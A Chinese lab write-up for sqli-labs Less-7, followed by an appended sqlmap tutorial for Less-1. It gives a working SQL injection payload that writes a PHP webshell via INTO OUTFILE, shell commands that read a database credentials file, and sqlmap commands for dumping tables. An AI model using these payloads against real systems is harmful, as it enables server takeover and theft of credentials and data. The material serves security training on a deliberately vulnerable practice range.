sqli-labs靶场第七关——文件导出注入

一:目标

通过sql注入将php代码写入网站目录,通过这个php文件执行命令

二:确认前置条件

%secure_file_priv%

首先我们需要Mysql是否允许导出文件

先尝试在网页中sql注入,检查导出权限

?id=1')) union select 1,@@secure_file_priv,3-- -

检查失败

换方法,通过Mysql命令行直接执行:

win+r→powershell→mysql -u root -p→password

然后检查:

show variables like '%secure_file_priv%';

窗口显示如下 

 

这里value有三种可能的值:

  • Null:禁止所有导入导出操作(最严格)

  • 空字符串'':允许所有目录的导入导出(有安全风险)

  • 指定路径:只允许该目录下的文件操作

如果值是空or是路径,继续攻击

如果值为NULL,那么注入一定失败,需要我们修改配置 ,方法如下:

在你的Mysql文件夹里找到my.ini,从段落的中间部分找到 [mysqld],在下面一行加上

secure_file_priv = ""

保存,服务里面重启动Mysql,然后 win+r→powershell→mysql -u root -p→password,再次检查

可以看到Value值变成空,说明我们修改成功了 ~

三:确定注入类型

首先输入 ?id=1',报错

尝试单引号+括号,?id=1'),报错

 尝试?id=1'))--+,页面恢复正常!!

所以这一关要闭合 ')) 

四:写一个webshell文件

首先用order by确定有三行

payload:

http://localhost/sqli-labs/Less-7/?id=1')) union select 1,
'<?php system($_GET["cmd"]);?>',
3 
into outfile
'D:/nginx-1.27.5/html/shell.php'-- -

php代码:<?php system($_GET["cmd"]);?>

路径按照网站的真实路径来

**注意:路径使用双反斜杠\\

into outfile 文件导出:

select 内容 into outfile '文件路径';

使用条件:

1.Mysql有权限

2.知道目标路径的物理路径

3.secure_file_priv允许操作

 列出网站目录:

http://localhost/shell.php?cmd=dir D:\nginx-1.27.5\html\  

 这里面可以看出我们的绝对路径是否正确

这样显示更清楚一点

http://localhost/shell.php?cmd=dir

整理我们得到的数据!

D:\nginx-1.27.5\html\  # 当前目录路径
├── 50x.html           # Nginx错误页面
├── index.html         # 默认首页
├── index.php          # PHP入口文件
├── shell.php          # 刚写入的WebShell
└── sqli-labs/         # SQLi-Labs靶场目录

再来几个查询!

查看服务器用户名

http://localhost/shell.php?cmd=whoami

 

读取数据库配置文件(获取账号密码) 

http://localhost/shell.php?cmd=type D:\nginx-1.27.5\sqli-labs\sql-connections\db-creds.inc

❀❀❀ 完结撒花!! ❀❀❀

### SQLMap在SQLi-Labs第一中的应用 对于SQLi-Labs靶场的第一(Less-1),可以通过`sqlmap`工具实现自动化的SQL注入攻击。以下是具体的操作方法以及注意事项: #### 工具准备 确保已安装并配置好`sqlmap`环境。如果尚未安装,可通过以下命令完成安装: ```bash git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap cd sqlmap ``` #### 基本操作流程 针对SQLi-Labs第一的目标URL `http://localhost/sqli-labs/Less-1/?id=1`,可以执行如下命令来探测和利用漏洞。 ##### 探测可注入参数 运行以下命令以确认是否存在SQL注入漏洞,并定位到具体的注入点: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --risk=3 --level=5 --random-agent --batch ``` 上述命令中各选项的作用分别为: - `-u`: 指定目标URL。 - `--risk=3`: 设置风险级别为最高级,尝试更多复杂的payload[^1]。 - `--level=5`: 设定测试强度为最高等级,覆盖尽可能多的场景。 - `--random-agent`: 随机化User-Agent头信息,规避可能的安全防护机制[^2]。 - `--batch`: 自动处理所有交互式提示,默认选择推荐选项[^3]。 ##### 枚举数据库信息 一旦确认存在注入漏洞,则继续深入挖掘敏感数据。例如枚举当前使用的数据库名称: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --current-db --batch ``` 此命令会返回当前正在使用的数据库名字。 ##### 列出所有可用数据库 为了进一步了解服务器上的其他潜在资源,还可以列举全部数据库列表: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" --dbs --batch ``` 通过该命令可以获得完整的数据库集合。 ##### 查找特定数据库内的表格结构 假设已经得知某个感兴趣的具体数据库名为`testDB`,那么就可以查询其内部包含哪些表单: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D testDB --tables --batch ``` 这里指定了目标数据库并通过`--tables`获取其中存储的数据表清单。 ##### 提取指定表的内容列定义 当明确了某张表之后,下一步便是研究它的字段构成情况: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D testDB -T users --columns --batch ``` 这条语句用于揭示所选表(`users`)的各项属性描述。 ##### 导出实际记录值 最后一步就是导出整张表里的真实数据条目了: ```bash python sqlmap.py -u "http://localhost/sqli-labs/Less-1/?id=1" -D testDB -T users --dump --batch ``` 至此完成了从发现漏洞直至提取有用情报的一系列动作。 ### 注意事项 尽管`sqlmap`功能强大,但在实战环境中需谨慎行事,避免触犯法律红线。仅限于授权范围内的渗透测试活动才允许使用此类技术手段。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值